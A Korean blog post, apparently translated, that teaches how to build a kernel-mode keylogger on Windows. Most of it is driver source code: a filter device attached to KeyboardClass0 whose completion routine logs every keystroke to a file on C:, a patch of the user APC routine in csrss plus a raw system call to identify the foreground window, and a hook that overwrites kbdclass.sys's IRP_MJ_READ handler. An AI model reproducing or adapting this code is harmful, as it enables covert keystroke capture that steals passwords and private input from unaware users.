구리의 창고

키보드 후킹해서 키로그 만들기 본문

Window Driver

키보드 후킹해서 키로그 만들기

구리z 2010. 3. 16. 09:40
목차
1. 소개
2. 디바이스 & 드라이버
3. 방법1 (간단) : IRP 와 드라이버 스택
*이름 없는 키보드 디바이스 붙이기
*I/O Completion Routine
*정보 로그하기
*APC Routine Patch and 활성화된 창 감지 예제
4. 방법2 : kbdclass.sys 드라이버 


1. 소개
여기서 논의할 내용은, 커널모드에서 키보드 데이터를 후킹하는 방법이다. 이 방법을 가지고 키보드 내용을 분석하거나 막거나 재해석 할 수 있다.

2. 디바이스 & 드라이버
후킹을 하기전에, 디바이스와 드라이버가 어떻게 상호작용을 하는지 이해 할 필요가 있다.

드라이버는 여러 개의 계층을 갖는다. 그것은 디바이스와 직접적으로 작동을 하는 드라이버 위에 있는 스택으로 표현된다. 기초적인 드라이버의 일은 디바이스로 부터 데이터를 읽어서 처리를 위해 상위스택으로 전송하는 것이다.

아래에 있는 그림은 PS/2 와 USB 키보드에 관한 디바이스와 드라이버의 관계를 나타낸다. 그러나 이 모델은 다른 드라이버에서도 같다.

Port 드라이버(i8042prt, usbhid)의 일은 키보드 버퍼에 있는 모든 데이터를 가져와서 드라이버 흐름에따라 상위로 보내주는 것이다. 드라이버들 사이에서 데이터 교환은 IRP를 이용하게된다. 여기서 IRP는 양방향으로 이동한다. 스택의 top 에 접근하면, IRP로부터 데이터는 csrss 서비스 안에 유저모드에 복사된다. 그런다음 윈도우 메시지로써 현재 어플리케이션에 전달하게된다. 그러므로 우리가 만든 드라이버를 커널모드에 놓는다는 것은, 키보드를 후킹 할 수 있을 뿐만 아니라 그것들은 바꿔치기 할 수도 있다는 것이다.

3. 방법1 (간단) : IRP 와 드라이버 스택
IRP는 I/O 관리자가 요청을 보낼 때마다 만들어진다. 스택에서 가장 위에 있는 드라이버는 IRP를 처음으로 받는다. 그 후 디바이스와 통신을 해야 하는 드라이버가 마지막으로 받는다. IRP가 만들어지는 순간 스택에있는 드라이버 고유번호는 알고있다. I/O 관리자는 각 드라이버마다 IO_STACK_LOCATION을 위한 공간을 IRP에 할당한다. 또한 현재 IO_STACK_LOCATION 의 인덱스와 포인터를 IRP 헤더에 저장한다.

3.1 이름 없는 키보드 디바이스 붙이기
현재 드라이버들에게 디바이스를 붙이기 위해서 다음과 같은 일을 첫 번째로 한다.
    PDEVICE_OBJECT pKeyboardDeviceObject = NULL;
    NTSTATUS lStatus = IoCreateDevice(pDriverObject,
                                      0,
                                      NULL,
                                      FILE_DEVICE_KEYBOARD,
                                      0,
                                      FALSE,
                                      &pKeyboardDeviceObject);

스택에 디바이스를 붙이려면, IoAttachDeviceToDeviceStack 을 써야한다. 그리고 우리는 디바이스 클래스의 포인터를 얻어와야한다.

UNICODE_STRING usClassName;

RtlInitUnicodeString(&usClassName, L"\\Device\\KeyboardClass0");

PDEVICE_OBJECT pClassDeviceObject = NULL;
PFILE_OBJECT pClassFileObject = NULL;

//Get pointer for \\Device\\KeyboardClass0
lStatus = IoGetDeviceObjectPointer
    (&usClassName, FILE_READ_DATA, &pClassFileObject, &pClassDeviceObject);

if (!NT_SUCCESS(lStatus)){
throw(std::runtime_error("[KBHookDriver]
Cannot get device object of \\Device\\KeyboardClass0."));
}

g_pFilterManager = new CFilterManager();
g_pSimpleHookObserver = new CKeyLoggerObserver
(L"\\DosDevices\\c:\\KeyboardClass0.log");
g_pFilterManager->RegisterFilter(pKeyboardDeviceObject, 
pClassDeviceObject, g_pSimpleHookObserver);
g_pFilterManager->GetFilter(pKeyboardDeviceObject)->AttachFilter();

여기서 \Device\KeyboardClass0 디바이스에 포인터를 가져오려고 했다는 것이 중요하다. 이 것은 PS/2 키보드이다. 직접적으로 접근 할 수 있는 유일한 클래스이다. (USB키보드는 4장에서 논하기로한다.)

그 후, 우리가 만든 드라이버에 등록된 IRP 핸들러는 키보드 이벤트에 대한 정보를 포함하는 패킷을 얻어 올 것이다.

m_pNextDevice = IoAttachDeviceToDeviceStack(m_pKBFilterDevice, m_pNextDevice);

if (m_pNextDevice == NULL){
    throw(std::runtime_error("[KBHookDriver]Cannot attach filter."));
}

m_bIsAttached = true;


3.2 I/O Completion Routine
키보드 컨트롤러(i8042prt or usbhid)로부터 데이터를 읽기 위해서는, kbdclass는 IRP_MJ_READ를 포트드라이버에 보낸다. kbdclass는 또한 필터이다. 코드가 쓰여지고 스택의 윗부분으로 전송하려고 할 때 필요한 IRP를 후킹해야한다. 이 과정에서, I/O completion 함수가 존재한다. I/O Completion Routine은 현재 요청(IoCompleteRequest)이 끝난 후 호출된다.

I/O completion routine을 등록하는 것은 다음과 같다.
void IOCompletionRoutine(IIRPProcessor *pContext, PIRP pIRP){

//Copy parameters to low level driver
IoCopyCurrentIrpStackLocationToNext(pIRP);

//Set I/O completion routine
IoSetCompletionRoutine(pIRP, OnReadCompletion, pContext, TRUE, TRUE, TRUE);

//Increment pending IRPs count
pContext->AddPendingPacket(pIRP);

return;
}  

 마지막으로 스택에서 IRP를 내려주는 것은 필수적이다.

return(IofCallDriver(m_pNextDevice, pIRP));


3.3 정보 로그하기
이 예제에서, 키보드의 모든 정보는 파일에 저장된다. 그러나 키보드 이벤트를 처리하는 더 좋은 코드는 IKBExternalObserver 라는 인터페이스를 수행하고, 기초적으로 후킹된 데이터와 어떤 일을 할 수 있도록 되있다.
static NTSTATUS OnReadCompletion
(PDEVICE_OBJECT pDeviceObject, PIRP pIRP, PVOID pContext){
IIRPProcessor *pIRPProcessor = (IIRPProcessor*)pContext;

//Checks completion status success
if (pIRP->IoStatus.Status == STATUS_SUCCESS){
PKEYBOARD_INPUT_DATA keys = 
(PKEYBOARD_INPUT_DATA)pIRP->AssociatedIrp.SystemBuffer;

//Get data count
unsigned int iKeysCount = 
pIRP->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

for (unsigned int iCounter = 0; iCounter < iKeysCount; ++iCounter){
KEY_STATE_DATA keyData;

keyData.pusScanCode = &keys[iCounter].MakeCode;

//If key have been pressed up, it’s marked with flag KEY_BREAK
if (keys[iCounter].Flags & KEY_BREAK){
keyData.bPressed = false;
}
else{
keyData.bPressed = true;
}

try{
//OnProcessEvent is a method of IKBExternalObserver.
pIRPProcessor->GetDeviceObserver()->
OnProcessEvent(keyData);
keys[iCounter].Flags = keyData.bPressed ? 
KEY_MAKE : KEY_BREAK;
}
catch(std::exception& ex){
DbgPrint("[KBHookLib]%s\n", ex.what());
}
}
}

if(pIRP->PendingReturned){
IoMarkIrpPending(pIRP);
}

pIRPProcessor->RemovePendingPacket(pIRP);

return(pIRP->IoStatus.Status);
}  


3.4 APC Routine Patch
I/O completion routine을 사용하는 정규적인 방법 외에, 더욱 활용성이 높은 비정규적인 방법이 있다.

IRP가 완료 됐을 때, I/O completion routine을 호출 하지말고
pIRP->Overlay.AsynchronousParameters.UserApcRoutine을 csrss 에서 비동기적으로 호출한다.
이에 대한 소스는 아래와 같다.

void APCRoutinePatch(IIRPProcessor *pIRPProcessor, PIRP pIRP){
CAPCContext *pContext = 
new CAPCContext(pIRP->Overlay.AsynchronousParameters.UserApcContext,
pIRP->Overlay.AsynchronousParameters.UserApcRoutine,
pIRP->UserBuffer,
pIRPProcessor->GetDeviceObserver(),
pIRP);

pIRP->Overlay.AsynchronousParameters.UserApcRoutine = Patch_APCRoutine;
pIRP->Overlay.AsynchronousParameters.UserApcContext = pContext;

return;
}

I/O Completion 이란 거의 흡사하다.
void NTAPI Patch_APCRoutine(PVOID pAPCContext, 
PIO_STATUS_BLOCK pIoStatusBlock, ULONG ulReserved){
std::auto_ptr<capccontext> pContext((CAPCContext*)pAPCContext);
PKEYBOARD_INPUT_DATA pKeyData = (PKEYBOARD_INPUT_DATA)pContext->GetUserBuffer();
KEY_STATE_DATA keyData;

keyData.pusScanCode = &pKeyData->MakeCode;

if (pKeyData->Flags == KEY_MAKE){
keyData.bPressed = true;
}
else{
if (pKeyData->Flags == KEY_BREAK){
keyData.bPressed = false;
}
else{
pContext->GetOriginalAPCRoutine()
(pContext->GetOriginalAPCContext(), 
pIoStatusBlock, 
ulReserved);

return;
}
}

try{
pContext->GetObserver()->OnProcessEvent(keyData);
pKeyData->Flags = keyData.bPressed ? KEY_MAKE : KEY_BREAK;
}
catch(std::exception& ex){
DbgPrint("[KBHookLib]%s\n", ex.what());
}

pContext->GetOriginalAPCRoutine()(pContext->GetOriginalAPCContext(), 
pIoStatusBlock, 
ulReserved);

return;
}


APC routine 을 보면,NtUserGetForegroundWindow 호출해서 키보드가 입력 된 현재 창을 감지 할 수 있다. NtUserGetForegroundWindow는 win32k.sys 에 의해 나오지 않는 SSDT Shadow 안에 있다. 하지만 SYSENTER 에 의해서 csrss에서 호출 될 수도 있다. XP에서는 다음과 같이 한다.
__declspec(naked) HANDLE NTAPI NtUserGetForegroundWindow(void){
__asm{
mov eax, 0x1194;  //NtUserGetForegroundWindows number 
//in SSDT Shadow for Windows XP
int 2eh; //Call SYSENTER gate
retn;
}
}
………
PEPROCESS pProcess = PsGetCurrentProcess();
KAPC_STATE ApcState;

KeStackAttachProcess(pProcess, &ApcState);

HANDLE hForeground = NtUserGetForegroundWindow(); //returns HWND 
//of current window

KeUnstackDetachProcess(&ApcState);
………


4. 방법2 : kbdclass.sys 드라이버 
앞에서 보여줬듯이 어떤 추가적인 작업없이 직접적으로 접근하는 것은 PS/2 키보드에서만 가능하다. 이 방법은 USB 키보드에서는 불가능하다. 그러나 보다 간단한 방법을 알아 낼 수 있다. kbdclass.sys 의 드라이버가 포트 드라이버로 부터 모든 데이터를 받는다면 우리는 IRP_MJ_READ를 후킹 할 수 있다.

다음과 같이 한다. 매우 쉽다.
void CKbdclassHook::Hook(void){
UNICODE_STRING usKbdClassDriverName;

RtlInitUnicodeString(&usKbdClassDriverName, m_wsClassDrvName.c_str());

//Get pointer to class driver object
NTSTATUS lStatus = ObReferenceObjectByName
(&usKbdClassDriverName, OBJ_CASE_INSENSITIVE,
  NULL,
   0,
    (POBJECT_TYPE)IoDriverObjectType,
    KernelMode,
    NULL,
    (PVOID*)&m_pClassDriver);

if (!NT_SUCCESS(lStatus)){
throw(std::exception("[KBHookLib]
Cannot get driver object by name."));
}

KIRQL oldIRQL;

KeRaiseIrql(HIGH_LEVEL, &oldIRQL);

//IRP_MJ_READ patching
m_pOriginalDispatchRead = m_pClassDriver->MajorFunction[IRP_MJ_READ];
m_pClassDriver->MajorFunction[IRP_MJ_READ] = m_pHookCallback;

m_bEnabled = true;

KeLowerIrql(oldIRQL);

return;

이 후, IRP_MJ_READ는 m_pHookCallback 포인터를 가르키게 된다.

NTSTATUS CKbdclassHook::Call_DispatchRead(PDEVICE_OBJECT pDeviceObject, PIRP pIRP){
//KBDCLASS_DEVICE_EXTENSION is equal DEVICE_EXTENSION for kbdclass from DDK
PKBDCLASS_DEVICE_EXTENSION pDevExt = 
(PKBDCLASS_DEVICE_EXTENSION)pDeviceObject->DeviceExtension;
if (pIRP->IoStatus.Status == STATUS_SUCCESS){
PKEYBOARD_INPUT_DATA key = 
(PKEYBOARD_INPUT_DATA)pIRP->UserBuffer;
KEY_STATE_DATA keyData;

keyData.pusScanCode = &key->MakeCode;

if (key->Flags & KEY_BREAK){
keyData.bPressed = false;
}
else{
keyData.bPressed = true;
}

m_pObserver->OnProcessEvent(pDevExt->TopPort, keyData);
}

//Original function calling for data translation to user space.
return(m_pOriginalDispatchRead(pDeviceObject, pIRP));
}  

DDK 에 있는 kbdclass.sys 로부터 DEVICE_EXTENSION 구조체를 얻어 낼 수 있다.




번역 : 내 머리
Comments